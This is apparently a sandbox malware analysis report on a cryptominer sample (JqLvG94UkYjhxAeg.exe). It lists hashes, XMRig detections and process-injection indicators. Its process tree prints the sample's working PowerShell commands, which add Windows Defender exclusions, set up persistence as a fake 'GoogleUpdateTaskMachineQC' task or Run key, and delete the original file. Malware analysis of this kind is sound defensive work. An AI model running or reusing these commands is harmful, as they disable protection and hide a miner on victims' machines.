Overview
overview
10Static
static
3grhsghsGHs...y8.exe
windows7-x64
10grhsghsGHs...y8.exe
windows10-2004-x64
10grhsghsGHs...SE.exe
windows7-x64
10grhsghsGHs...SE.exe
windows10-2004-x64
10grhsghsGHs...CD.exe
windows7-x64
10grhsghsGHs...CD.exe
windows10-2004-x64
10grhsghsGHs...Da.exe
windows7-x64
10grhsghsGHs...Da.exe
windows10-2004-x64
10grhsghsGHs...wq.exe
windows7-x64
10grhsghsGHs...wq.exe
windows10-2004-x64
10grhsghsGHs...r7.exe
windows7-x64
10grhsghsGHs...r7.exe
windows10-2004-x64
10grhsghsGHs...XJ.exe
windows7-x64
10grhsghsGHs...XJ.exe
windows10-2004-x64
10grhsghsGHs...eg.exe
windows7-x64
10grhsghsGHs...eg.exe
windows10-2004-x64
10grhsghsGHs...5H.exe
windows7-x64
10grhsghsGHs...5H.exe
windows10-2004-x64
10grhsghsGHs...XN.exe
windows7-x64
10grhsghsGHs...XN.exe
windows10-2004-x64
10grhsghsGHs...T3.exe
windows7-x64
10grhsghsGHs...T3.exe
windows10-2004-x64
10grhsghsGHs...9r.exe
windows7-x64
10grhsghsGHs...9r.exe
windows10-2004-x64
10grhsghsGHs...GR.exe
windows7-x64
10grhsghsGHs...GR.exe
windows10-2004-x64
10grhsghsGHs...EX.exe
windows7-x64
10grhsghsGHs...EX.exe
windows10-2004-x64
10grhsghsGHs...EA.exe
windows7-x64
10grhsghsGHs...EA.exe
windows10-2004-x64
10grhsghsGHs...FB.exe
windows7-x64
10grhsghsGHs...FB.exe
windows10-2004-x64
10Resubmissions
25/01/2024, 16:55
240125-vfcyksbhgr 1024/01/2024, 17:15
240124-vstf4aecaj 1023/01/2024, 19:27
240123-x6cfvagbd9 1023/01/2024, 19:27
240123-x6bvbafgem 1023/01/2024, 19:27
240123-x6bjjsgbd8 1023/01/2024, 19:27
240123-x6ax1sfgek 1023/01/2024, 19:27
240123-x6abgsfgej 1023/01/2024, 19:27
240123-x591qagbd7 1023/01/2024, 19:27
240123-x59d7agbd6 1023/01/2024, 19:27
240123-x584esgbd5 10Analysis
-
max time kernel
1799s -
max time network
1792s -
platform
windows10-2004_x64 -
resource
win10v2004-20231215-en -
resource tags
arch:x64arch:x86image:win10v2004-20231215-enlocale:en-usos:windows10-2004-x64system -
submitted
23/01/2024, 19:27
Static task
static1
Behavioral task
behavioral1
Sample
grhsghsGHswgh/3JynzWc6LxNCT2y8.exe
Resource
win7-20231215-en
Behavioral task
behavioral2
Sample
grhsghsGHswgh/3JynzWc6LxNCT2y8.exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral3
Sample
grhsghsGHswgh/6aNn9vLJCQVfagSE.exe
Resource
win7-20231215-en
Behavioral task
behavioral4
Sample
grhsghsGHswgh/6aNn9vLJCQVfagSE.exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral5
Sample
grhsghsGHswgh/6vHkJ4UErTSS5ECD.exe
Resource
win7-20231129-en
Behavioral task
behavioral6
Sample
grhsghsGHswgh/6vHkJ4UErTSS5ECD.exe
Resource
win10v2004-20231222-en
Behavioral task
behavioral7
Sample
grhsghsGHswgh/Be5sCbvuma2nkHDa.exe
Resource
win7-20231129-en
Behavioral task
behavioral8
Sample
grhsghsGHswgh/Be5sCbvuma2nkHDa.exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral9
Sample
grhsghsGHswgh/DLKFnAGYJBNTnxwq.exe
Resource
win7-20231215-en
Behavioral task
behavioral10
Sample
grhsghsGHswgh/DLKFnAGYJBNTnxwq.exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral11
Sample
grhsghsGHswgh/EtPLMpbCyFJpMJr7.exe
Resource
win7-20231215-en
Behavioral task
behavioral12
Sample
grhsghsGHswgh/EtPLMpbCyFJpMJr7.exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral13
Sample
grhsghsGHswgh/Gu3PdXt79NF7EJXJ.exe
Resource
win7-20231215-en
Behavioral task
behavioral14
Sample
grhsghsGHswgh/Gu3PdXt79NF7EJXJ.exe
Resource
win10v2004-20231222-en
Behavioral task
behavioral15
Sample
grhsghsGHswgh/JqLvG94UkYjhxAeg.exe
Resource
win7-20231215-en
Behavioral task
behavioral16
Sample
grhsghsGHswgh/JqLvG94UkYjhxAeg.exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral17
Sample
grhsghsGHswgh/LM3BR4UBmKBzBP5H.exe
Resource
win7-20231215-en
Behavioral task
behavioral18
Sample
grhsghsGHswgh/LM3BR4UBmKBzBP5H.exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral19
Sample
grhsghsGHswgh/M8xUNW42QxTLMRXN.exe
Resource
win7-20231215-en
Behavioral task
behavioral20
Sample
grhsghsGHswgh/M8xUNW42QxTLMRXN.exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral21
Sample
grhsghsGHswgh/Q5EUCWHU7pMYBfT3.exe
Resource
win7-20231215-en
Behavioral task
behavioral22
Sample
grhsghsGHswgh/Q5EUCWHU7pMYBfT3.exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral23
Sample
grhsghsGHswgh/UMRsPGc4u9tycx9r.exe
Resource
win7-20231129-en
Behavioral task
behavioral24
Sample
grhsghsGHswgh/UMRsPGc4u9tycx9r.exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral25
Sample
grhsghsGHswgh/UU4Ddwqm5zcuLzGR.exe
Resource
win7-20231215-en
Behavioral task
behavioral26
Sample
grhsghsGHswgh/UU4Ddwqm5zcuLzGR.exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral27
Sample
grhsghsGHswgh/XJEzW6M7WvHaF3EX.exe
Resource
win7-20231215-en
Behavioral task
behavioral28
Sample
grhsghsGHswgh/XJEzW6M7WvHaF3EX.exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral29
Sample
grhsghsGHswgh/Y2JYGshMHJGuGREA.exe
Resource
win7-20231215-en
Behavioral task
behavioral30
Sample
grhsghsGHswgh/Y2JYGshMHJGuGREA.exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral31
Sample
grhsghsGHswgh/Yvdp8t5knpQz7sFB.exe
Resource
win7-20231215-en
General
-
Target
grhsghsGHswgh/JqLvG94UkYjhxAeg.exe
-
Size
2.0MB
-
MD5
a16a669a09bf158058b83e04e69fe38e
-
SHA1
f6c94763850d9e590d86057139e8895a7aacdeea
-
SHA256
cacc0261ccf7578ef5c1f9fdbe35705ad91070d020a4225e05cbf71a6103ac8e
-
SHA512
658b52ad1d27becee5b5bbd443d43da38b88d49880e72c8cb843f176a2d84d571b39c34dbc7cfb7ea56acc548acc5b68cce47a8bcf9d173feec031f7e33a09c6
-
SSDEEP
49152:rWVipAxqo5p88CbXuxWQiSJU320ZW21Q0YWAij64ane6szjmL/45:rxAEcp9ueXit9WAQ0YWuO
Malware Config
Signatures
-
Suspicious use of NtCreateUserProcessOtherParentProcess 9 IoCs
description pid Process procid_target PID 2308 created 3432 2308 JqLvG94UkYjhxAeg.exe 29 PID 2308 created 3432 2308 JqLvG94UkYjhxAeg.exe 29 PID 2308 created 3432 2308 JqLvG94UkYjhxAeg.exe 29 PID 2308 created 3432 2308 JqLvG94UkYjhxAeg.exe 29 PID 3960 created 3432 3960 updater.exe 29 PID 3960 created 3432 3960 updater.exe 29 PID 3960 created 3432 3960 updater.exe 29 PID 1548 created 3432 1548 conhost.exe 29 PID 3960 created 3432 3960 updater.exe 29 -
XMRig Miner payload 30 IoCs
resource yara_rule behavioral16/memory/4004-126-0x00007FF6F5FB0000-0x00007FF6F67A4000-memory.dmp xmrig behavioral16/memory/4004-130-0x00007FF6F5FB0000-0x00007FF6F67A4000-memory.dmp xmrig behavioral16/memory/4004-131-0x00007FF6F5FB0000-0x00007FF6F67A4000-memory.dmp xmrig behavioral16/memory/4004-133-0x00007FF6F5FB0000-0x00007FF6F67A4000-memory.dmp xmrig behavioral16/memory/4004-136-0x00007FF6F5FB0000-0x00007FF6F67A4000-memory.dmp xmrig behavioral16/memory/4004-139-0x00007FF6F5FB0000-0x00007FF6F67A4000-memory.dmp xmrig behavioral16/memory/4004-141-0x00007FF6F5FB0000-0x00007FF6F67A4000-memory.dmp xmrig behavioral16/memory/4004-143-0x00007FF6F5FB0000-0x00007FF6F67A4000-memory.dmp xmrig behavioral16/memory/4004-145-0x00007FF6F5FB0000-0x00007FF6F67A4000-memory.dmp xmrig behavioral16/memory/4004-147-0x00007FF6F5FB0000-0x00007FF6F67A4000-memory.dmp xmrig behavioral16/memory/4004-149-0x00007FF6F5FB0000-0x00007FF6F67A4000-memory.dmp xmrig behavioral16/memory/4004-151-0x00007FF6F5FB0000-0x00007FF6F67A4000-memory.dmp xmrig behavioral16/memory/4004-153-0x00007FF6F5FB0000-0x00007FF6F67A4000-memory.dmp xmrig behavioral16/memory/4004-155-0x00007FF6F5FB0000-0x00007FF6F67A4000-memory.dmp xmrig behavioral16/memory/4004-157-0x00007FF6F5FB0000-0x00007FF6F67A4000-memory.dmp xmrig behavioral16/memory/4004-159-0x00007FF6F5FB0000-0x00007FF6F67A4000-memory.dmp xmrig behavioral16/memory/4004-161-0x00007FF6F5FB0000-0x00007FF6F67A4000-memory.dmp xmrig behavioral16/memory/4004-163-0x00007FF6F5FB0000-0x00007FF6F67A4000-memory.dmp xmrig behavioral16/memory/4004-165-0x00007FF6F5FB0000-0x00007FF6F67A4000-memory.dmp xmrig behavioral16/memory/4004-167-0x00007FF6F5FB0000-0x00007FF6F67A4000-memory.dmp xmrig behavioral16/memory/4004-169-0x00007FF6F5FB0000-0x00007FF6F67A4000-memory.dmp xmrig behavioral16/memory/4004-171-0x00007FF6F5FB0000-0x00007FF6F67A4000-memory.dmp xmrig behavioral16/memory/4004-173-0x00007FF6F5FB0000-0x00007FF6F67A4000-memory.dmp xmrig behavioral16/memory/4004-175-0x00007FF6F5FB0000-0x00007FF6F67A4000-memory.dmp xmrig behavioral16/memory/4004-177-0x00007FF6F5FB0000-0x00007FF6F67A4000-memory.dmp xmrig behavioral16/memory/4004-179-0x00007FF6F5FB0000-0x00007FF6F67A4000-memory.dmp xmrig behavioral16/memory/4004-181-0x00007FF6F5FB0000-0x00007FF6F67A4000-memory.dmp xmrig behavioral16/memory/4004-183-0x00007FF6F5FB0000-0x00007FF6F67A4000-memory.dmp xmrig behavioral16/memory/4004-185-0x00007FF6F5FB0000-0x00007FF6F67A4000-memory.dmp xmrig behavioral16/memory/4004-187-0x00007FF6F5FB0000-0x00007FF6F67A4000-memory.dmp xmrig -
Executes dropped EXE 1 IoCs
pid Process 3960 updater.exe -
resource yara_rule behavioral16/memory/4004-122-0x00007FF6F5FB0000-0x00007FF6F67A4000-memory.dmp upx behavioral16/memory/4004-126-0x00007FF6F5FB0000-0x00007FF6F67A4000-memory.dmp upx behavioral16/memory/4004-130-0x00007FF6F5FB0000-0x00007FF6F67A4000-memory.dmp upx behavioral16/memory/4004-131-0x00007FF6F5FB0000-0x00007FF6F67A4000-memory.dmp upx behavioral16/memory/4004-133-0x00007FF6F5FB0000-0x00007FF6F67A4000-memory.dmp upx behavioral16/memory/4004-136-0x00007FF6F5FB0000-0x00007FF6F67A4000-memory.dmp upx behavioral16/memory/4004-139-0x00007FF6F5FB0000-0x00007FF6F67A4000-memory.dmp upx behavioral16/memory/4004-141-0x00007FF6F5FB0000-0x00007FF6F67A4000-memory.dmp upx behavioral16/memory/4004-143-0x00007FF6F5FB0000-0x00007FF6F67A4000-memory.dmp upx behavioral16/memory/4004-145-0x00007FF6F5FB0000-0x00007FF6F67A4000-memory.dmp upx behavioral16/memory/4004-147-0x00007FF6F5FB0000-0x00007FF6F67A4000-memory.dmp upx behavioral16/memory/4004-149-0x00007FF6F5FB0000-0x00007FF6F67A4000-memory.dmp upx behavioral16/memory/4004-151-0x00007FF6F5FB0000-0x00007FF6F67A4000-memory.dmp upx behavioral16/memory/4004-153-0x00007FF6F5FB0000-0x00007FF6F67A4000-memory.dmp upx behavioral16/memory/4004-155-0x00007FF6F5FB0000-0x00007FF6F67A4000-memory.dmp upx behavioral16/memory/4004-157-0x00007FF6F5FB0000-0x00007FF6F67A4000-memory.dmp upx behavioral16/memory/4004-159-0x00007FF6F5FB0000-0x00007FF6F67A4000-memory.dmp upx behavioral16/memory/4004-161-0x00007FF6F5FB0000-0x00007FF6F67A4000-memory.dmp upx behavioral16/memory/4004-163-0x00007FF6F5FB0000-0x00007FF6F67A4000-memory.dmp upx behavioral16/memory/4004-165-0x00007FF6F5FB0000-0x00007FF6F67A4000-memory.dmp upx behavioral16/memory/4004-167-0x00007FF6F5FB0000-0x00007FF6F67A4000-memory.dmp upx behavioral16/memory/4004-169-0x00007FF6F5FB0000-0x00007FF6F67A4000-memory.dmp upx behavioral16/memory/4004-171-0x00007FF6F5FB0000-0x00007FF6F67A4000-memory.dmp upx behavioral16/memory/4004-173-0x00007FF6F5FB0000-0x00007FF6F67A4000-memory.dmp upx behavioral16/memory/4004-175-0x00007FF6F5FB0000-0x00007FF6F67A4000-memory.dmp upx behavioral16/memory/4004-177-0x00007FF6F5FB0000-0x00007FF6F67A4000-memory.dmp upx behavioral16/memory/4004-179-0x00007FF6F5FB0000-0x00007FF6F67A4000-memory.dmp upx behavioral16/memory/4004-181-0x00007FF6F5FB0000-0x00007FF6F67A4000-memory.dmp upx behavioral16/memory/4004-183-0x00007FF6F5FB0000-0x00007FF6F67A4000-memory.dmp upx behavioral16/memory/4004-185-0x00007FF6F5FB0000-0x00007FF6F67A4000-memory.dmp upx behavioral16/memory/4004-187-0x00007FF6F5FB0000-0x00007FF6F67A4000-memory.dmp upx -
Drops file in System32 directory 3 IoCs
description ioc Process File created C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive powershell.exe File created C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log powershell.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive powershell.exe -
Suspicious use of SetThreadContext 2 IoCs
description pid Process procid_target PID 3960 set thread context of 1548 3960 updater.exe 116 PID 3960 set thread context of 4004 3960 updater.exe 117 -
Drops file in Program Files directory 4 IoCs
description ioc Process File created C:\Program Files\Google\Libs\g.log cmd.exe File created C:\Program Files\Google\Libs\g.log cmd.exe File created C:\Program Files\Google\Chrome\updater.exe JqLvG94UkYjhxAeg.exe File created C:\Program Files\Google\Libs\WR64.sys updater.exe -
Detects videocard installed 1 TTPs 1 IoCs
Uses WMIC.exe to determine videocard installed.
pid Process 4892 WMIC.exe -
Modifies data under HKEY_USERS 64 IoCs
description ioc Process Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs powershell.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "0" powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople powershell.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\IntranetName = "1" powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CTLs powershell.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "1" powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates powershell.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\IntranetName = "1" powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ powershell.exe -
Suspicious behavior: EnumeratesProcesses 30 IoCs
pid Process 2308 JqLvG94UkYjhxAeg.exe 2308 JqLvG94UkYjhxAeg.exe 1640 powershell.exe 1640 powershell.exe 2308 JqLvG94UkYjhxAeg.exe 2308 JqLvG94UkYjhxAeg.exe 916 powershell.exe 916 powershell.exe 2308 JqLvG94UkYjhxAeg.exe 2308 JqLvG94UkYjhxAeg.exe 2308 JqLvG94UkYjhxAeg.exe 2308 JqLvG94UkYjhxAeg.exe 2164 powershell.exe 2164 powershell.exe 3960 updater.exe 3960 updater.exe 3216 powershell.exe 3216 powershell.exe 3960 updater.exe 3960 updater.exe 4536 powershell.exe 4536 powershell.exe 3960 updater.exe 3960 updater.exe 3960 updater.exe 3960 updater.exe 1548 conhost.exe 1548 conhost.exe 3960 updater.exe 3960 updater.exe -
Suspicious use of AdjustPrivilegeToken 64 IoCs
description pid Process Token: SeDebugPrivilege 1640 powershell.exe Token: SeDebugPrivilege 916 powershell.exe Token: SeIncreaseQuotaPrivilege 916 powershell.exe Token: SeSecurityPrivilege 916 powershell.exe Token: SeTakeOwnershipPrivilege 916 powershell.exe Token: SeLoadDriverPrivilege 916 powershell.exe Token: SeSystemProfilePrivilege 916 powershell.exe Token: SeSystemtimePrivilege 916 powershell.exe Token: SeProfSingleProcessPrivilege 916 powershell.exe Token: SeIncBasePriorityPrivilege 916 powershell.exe Token: SeCreatePagefilePrivilege 916 powershell.exe Token: SeBackupPrivilege 916 powershell.exe Token: SeRestorePrivilege 916 powershell.exe Token: SeShutdownPrivilege 916 powershell.exe Token: SeDebugPrivilege 916 powershell.exe Token: SeSystemEnvironmentPrivilege 916 powershell.exe Token: SeRemoteShutdownPrivilege 916 powershell.exe Token: SeUndockPrivilege 916 powershell.exe Token: SeManageVolumePrivilege 916 powershell.exe Token: 33 916 powershell.exe Token: 34 916 powershell.exe Token: 35 916 powershell.exe Token: 36 916 powershell.exe Token: SeIncreaseQuotaPrivilege 916 powershell.exe Token: SeSecurityPrivilege 916 powershell.exe Token: SeTakeOwnershipPrivilege 916 powershell.exe Token: SeLoadDriverPrivilege 916 powershell.exe Token: SeSystemProfilePrivilege 916 powershell.exe Token: SeSystemtimePrivilege 916 powershell.exe Token: SeProfSingleProcessPrivilege 916 powershell.exe Token: SeIncBasePriorityPrivilege 916 powershell.exe Token: SeCreatePagefilePrivilege 916 powershell.exe Token: SeBackupPrivilege 916 powershell.exe Token: SeRestorePrivilege 916 powershell.exe Token: SeShutdownPrivilege 916 powershell.exe Token: SeDebugPrivilege 916 powershell.exe Token: SeSystemEnvironmentPrivilege 916 powershell.exe Token: SeRemoteShutdownPrivilege 916 powershell.exe Token: SeUndockPrivilege 916 powershell.exe Token: SeManageVolumePrivilege 916 powershell.exe Token: 33 916 powershell.exe Token: 34 916 powershell.exe Token: 35 916 powershell.exe Token: 36 916 powershell.exe Token: SeIncreaseQuotaPrivilege 916 powershell.exe Token: SeSecurityPrivilege 916 powershell.exe Token: SeTakeOwnershipPrivilege 916 powershell.exe Token: SeLoadDriverPrivilege 916 powershell.exe Token: SeSystemProfilePrivilege 916 powershell.exe Token: SeSystemtimePrivilege 916 powershell.exe Token: SeProfSingleProcessPrivilege 916 powershell.exe Token: SeIncBasePriorityPrivilege 916 powershell.exe Token: SeCreatePagefilePrivilege 916 powershell.exe Token: SeBackupPrivilege 916 powershell.exe Token: SeRestorePrivilege 916 powershell.exe Token: SeShutdownPrivilege 916 powershell.exe Token: SeDebugPrivilege 916 powershell.exe Token: SeSystemEnvironmentPrivilege 916 powershell.exe Token: SeRemoteShutdownPrivilege 916 powershell.exe Token: SeUndockPrivilege 916 powershell.exe Token: SeManageVolumePrivilege 916 powershell.exe Token: 33 916 powershell.exe Token: 34 916 powershell.exe Token: 35 916 powershell.exe -
Suspicious use of WriteProcessMemory 8 IoCs
description pid Process procid_target PID 1620 wrote to memory of 3720 1620 cmd.exe 103 PID 1620 wrote to memory of 3720 1620 cmd.exe 103 PID 2164 wrote to memory of 1836 2164 powershell.exe 104 PID 2164 wrote to memory of 1836 2164 powershell.exe 104 PID 3960 wrote to memory of 1548 3960 updater.exe 116 PID 2128 wrote to memory of 4892 2128 cmd.exe 113 PID 2128 wrote to memory of 4892 2128 cmd.exe 113 PID 3960 wrote to memory of 4004 3960 updater.exe 117 -
Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
Processes
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C:\Windows\Explorer.EXEC:\Windows\Explorer.EXE1⤵PID:3432
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C:\Users\Admin\AppData\Local\Temp\grhsghsGHswgh\JqLvG94UkYjhxAeg.exe"C:\Users\Admin\AppData\Local\Temp\grhsghsGHswgh\JqLvG94UkYjhxAeg.exe"2⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Drops file in Program Files directory
- Suspicious behavior: EnumeratesProcesses
PID:2308
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1640
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#wokgfo#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Program Files\Google\Chrome\updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "GoogleUpdateTaskMachineQC" /t REG_SZ /f /d 'C:\Program Files\Google\Chrome\updater.exe' }2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:916
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C:\Windows\System32\cmd.exeC:\Windows\System32\cmd.exe /c choice /C Y /N /D Y /T 3 & Del "C:\Users\Admin\AppData\Local\Temp\grhsghsGHswgh\JqLvG94UkYjhxAeg.exe"2⤵
- Suspicious use of WriteProcessMemory
PID:1620 -
C:\Windows\System32\choice.exechoice /C Y /N /D Y /T 33⤵PID:3720
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#glbtb#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { schtasks /run /tn "GoogleUpdateTaskMachineQC" } Else { "C:\Program Files\Google\Chrome\updater.exe" }2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:2164 -
C:\Windows\system32\schtasks.exe"C:\Windows\system32\schtasks.exe" /run /tn GoogleUpdateTaskMachineQC3⤵PID:1836
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force2⤵
- Drops file in System32 directory
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
PID:3216
